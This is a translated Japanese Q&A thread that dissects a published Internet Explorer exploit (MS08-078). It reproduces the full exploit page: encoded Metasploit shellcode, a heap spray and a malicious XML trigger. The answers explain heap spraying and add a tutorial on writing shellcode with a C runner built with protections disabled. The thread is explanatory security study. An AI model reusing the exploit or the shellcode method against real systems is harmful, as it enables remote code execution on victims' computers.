通常、JavaScriptコードを読むことは難しくありませんが、これについてはロジックを理解できません。コードは4日前に公開されたエクスプロイトからのものです。 milw0rm で見つけることができます。
コードは次のとおりです。
_<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");
do {
spray += spray;
} while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag = document.getElementById("replace");
tag.innerHTML = xmlcode;
</script>
</html>
_
これが私が信じていることであり、私が誤解している部分について私を助けてほしい。
変数shellcode
には、_calc.exe
_を開くコードが含まれています。私は彼らがその奇妙な文字列をどのように見つけたのかわかりません。何か案が?
2番目は変数spray
です。私はこの奇妙なループを理解していません。
3番目は、どこでも使用されない変数memory
です。なぜ彼らはそれを作成するのですか?
最後に、XMLタグはページで何をしますか?
今のところ、私は良い答えを持っていますが、ほとんどは非常に一般的なものです。コードの価値についてもっと説明したいと思います。例はunescape("%u0a0a%u0a0a");
です。どういう意味ですか?ループについても同じことが言えます。開発者はなぜ_length < 0xd0000
_と書いたのですか?このコードの理論だけでなく、より深く理解してほしい。
シェルコードには、実際のエクスプロイトを実行するx86アセンブリ命令が含まれています。 spray
は、memory
に置かれる命令の長いシーケンスを作成します。通常、メモリ内のシェルコードの正確な場所を見つけることができないため、多くのnop
命令をその前に置き、そこにジャンプします。 memory
配列は、ジャンプメカニズムとともに実際のx86コードを保持します。細工されたXMLをバグのあるライブラリにフィードします。バグを解析すると、このバグにより、エクスプロイトのどこかに命令ポインタレジスタが割り当てられ、任意のコードが実行される可能性があります。
より深く理解するには、x86コードの内容を実際に把握する必要があります。 unscape
は、spray
変数に文字列で表される一連のバイトを入れるために使用されます。ヒープの大きな部分を埋めてシェルコードの先頭にジャンプする有効なx86コードです。終了条件の理由は、スクリプトエンジンの文字列の長さの制限です。特定の長さを超える文字列を使用することはできません。
X86アセンブリでは、0a0a
はor cl, [edx]
を表します。このエクスプロイトの目的では、これは実質的にnop
命令と同等です。 spray
のどこにジャンプしても、実際に実行したいコードであるシェルコードに到達するまで次の命令に進みます。
XMLを見ると、0x0a0a
もあることがわかります。何が起こるかを正確に説明するには、エクスプロイトの特定の知識が必要です(バグの場所と悪用方法を知る必要がありますが、私は知りません)。ただし、innerHtml
をその悪質なXML文字列に設定することにより、Internet Explorerにバグのあるコードを強制的にトリガーさせるようです。 Internet Explorerはそれを解析しようとし、バグのあるコードが何らかの方法で配列が存在するメモリの場所を制御します(大きなチャンクであるため、そこにジャンプする可能性が高くなります)。そこにジャンプすると、CPUはor cl, [edx]
命令の実行を、メモリに配置されたシェルコードの先頭に達するまで続けます。
私はシェルコードを分解しました:
00000000 C9 leave
00000001 2B1F sub ebx,[edi]
00000003 B10C mov cl,0xc
00000005 BDC536DB9B mov ebp,0x9bdb36c5
0000000A D9C5 fld st5
0000000C 2474 and al,0x74
0000000E 5A pop edx
0000000F F4 hlt
00000010 EA8331FC0B6A6A jmp 0x6a6a:0xbfc3183
00000017 03D4 add edx,esp
00000019 07 pop es
0000001A 67305CFF xor [si-0x1],bl
0000001E 98 cwde
0000001F BBD7FFA4FE mov ebx,0xfea4ffd7
00000024 9B wait
00000025 74AD jz 0xffffffd4
00000027 058B8B028D add eax,0x8d028b8b
0000002C D893BCCD35A2 fcom dword [ebx+0xa235cdbc]
00000032 37 aaa
00000033 B84290A63A mov eax,0x3aa69042
00000038 94 xchg eax,esp
00000039 E99AA4D58D jmp 0x8dd5a4d8
0000003E E5A3 in eax,0xa3
00000040 1F pop ds
00000041 4C dec esp
00000042 EB46 jmp short 0x8a
00000044 4B dec ebx
00000045 8CD0 mov eax,ss
00000047 AD lodsd
00000048 A844 test al,0x44
0000004A 52 Push edx
0000004B 4A dec edx
0000004C 3B81B80DD748 cmp eax,[ecx+0x48d70db8]
00000052 4B dec ebx
00000053 D46C aam 0x6c
00000055 46 inc esi
00000056 1392734A204F adc edx,[edx+0x4f204a73]
0000005C F8 clc
0000005D 6E outsb
0000005E DC8EA20726B4 fmul qword [esi+0xb42607a2]
00000064 04D4 add al,0xd4
00000066 D084ECBA978221 rol byte [esp+ebp*8+0x218297ba],1
0000006D 7CE8 jl 0x57
0000006F C0CA8C ror dl,0x8c
00000072 F4 hlt
00000073 A6 cmpsb
00000074 47 inc edi
00000075 210D2EA0B0CD and [0xcdb0a02e],ecx
0000007B 2CA8 sub al,0xa8
0000007D B05B mov al,0x5b
0000007F 43 inc ebx
00000080 F4 hlt
00000081 24E8 and al,0xe8
00000083 7A9C jpe 0x21
00000085 BB857DCBA0 mov ebx,0xa0cb7d85
0000008A 7DED jnl 0x79
0000008C 92 xchg eax,edx
0000008D 09E1 or ecx,esp
0000008F 96 xchg eax,esi
00000090 315580 xor [ebp-0x80],edx
このシェルコードを理解するには、JavaScriptではなくx86アセンブリの知識とMSライブラリ自体の問題(ここに到達したときのシステム状態を知るため)が必要です!このコードは、順にcalc.exe
を実行します。
ヒープスプレーを調べる必要があります。
これは、Microsoftが緊急パッチをリリースした 最近のInternet Explorerのバグ の悪用のようです。 MicrosoftのXMLハンドラーのデータバインディング機能の欠陥を使用して、ヒープメモリの割り当てを誤って解除します。
シェルコードは、バグが発生したときに実行されるマシンコードです。スプレーとメモリは、悪用可能な状態の発生を支援するためにヒープに割り当てられたスペースです。
ヒープスプレーは、ブラウザ関連のものを悪用する一般的な方法です。それに興味がある場合は、次のような投稿を見つけることができます。 http://sf-freedom.blogspot.com/2006/06/heap-spraying-introduction.html
エクスプロイトの説明で対処されていないメモリが表示された場合、最初に考えたのは、エクスプロイトが何らかのバッファオーバーフローであり、その場合、メモリがバッファをオーバーフローさせるか、バッファがオーバーフローするとアクセスされること。
単純なシェルコードの例
Assembly at&t syntax x86のHello worldは信じています(Wizard in Training)。
ファイルをセットアップします:vim shellcodeExample.s
.text #required
.goblal _start #required
_start: #main function
jmp one #jump to the section labeled one:
two:
pop %rcx #pop %rcx off the stack, or something
xor %rax, %rax #Clear
movl 4, %rax #use sys_write(printf || std::cout)
xor %rbx, %rbx #Clear
inc %rbx #increment %rbx to 1 stdout(terminal)
xor %rdx, %rdx #Clear Registers or something
movb $13, %dl #String Size
int $0x80
one:
call two #jump up to section two:
.ascii "Hello World\r\n" #make the string one of the starting memory
#^-addresses
次のようにコンパイルします:as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o
これで、Hello Worldを出力するバイナリができました。バイナリを次のシェルコードタイプに変換します:objdump -D shellcode
出力が得られます:
shellcode: file format elf64-x86-64
Disassembly of section .text:
0000000000400078 <.text>:
400078: eb 1a jmp 0x400094
40007a: 59 pop %rcx
40007b: 48 31 c0 xor %rax,%rax
40007e: b0 04 mov $0x4,%al
400080: 48 31 db xor %rbx,%rbx
400083: 48 ff c3 inc %rbx
400086: 48 31 d2 xor %rdx,%rdx
400089: b2 0d mov $0xd,%dl
40008b: cd 80 int $0x80
40008d: b0 01 mov $0x1,%al
40008f: 48 ff cb dec %rbx
400092: cd 80 int $0x80
400094: e8 e1 ff ff ff callq 0x40007a
400099: 68 65 6c 6c 6f pushq $0x6f6c6c65
40009e: 20 77 6f and %dh,0x6f(%rdi)
4000a1: 72 6c jb 0x40010f
4000a3: 64 fs
4000a4: 0d .byte 0xd
4000a5: 0a .byte 0xa
4行目をテキストで見ると、次のように表示されます:400078: eb 1a jmp 0x400094
eb 1a
と書かれている部分は、アセンブリ命令jmp one
の16進表現です。ここで、「one」は文字列のメモリアドレスです。
実行のためにシェルコードを準備するには、別のテキストファイルを開き、16進値を文字配列に保存します。シェルコードを正しくフォーマットするには、すべての16進値の前に\x
を入力します。
objdumpコマンドの出力によると、今後のシェルコード例は次のようになります。
unsigned char PAYLOAD[] =
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";
この例では、配列にCを使用しています。これで、標準出力「hello world」に書き込む作業シェルコードができました。
シェルコードを脆弱性に配置してテストするか、次のcプログラムを作成してテストできます。
vim execShellcode.cc; //linux command to create c file.
/*Below is the content of execShellcode.cc*/
unsigned char PAYLOAD[] =
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";
int main(){
((void(*)(void))PAYLOAD)();
return 0;
}
プログラムをコンパイルするには、次を入力します。
gcc -fno-stack-protector -z execstack execShellcode.cc -o run
./run
で実行Linux mint/debianでテストされた単純なシェルコード開発の実例があります。
HTMLの文字エンコード を参照してください。
JavaScriptがデコードする文字列としてエンコードされたバイナリデータです。
[〜#〜] xss [〜#〜] の一般的な形式も。
ここですべてのエンコーディングトリックを見ることができます。
http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project
これはmetasploitからのものです。つまり、metasploit Shellコードの1つを使用しているということです。それはオープンソースなので、あなたはそれを手に入れることができます: http://www.metasploit.com/
脆弱性自体の背景については、 MS08-078およびSDL を読むことをお勧めします。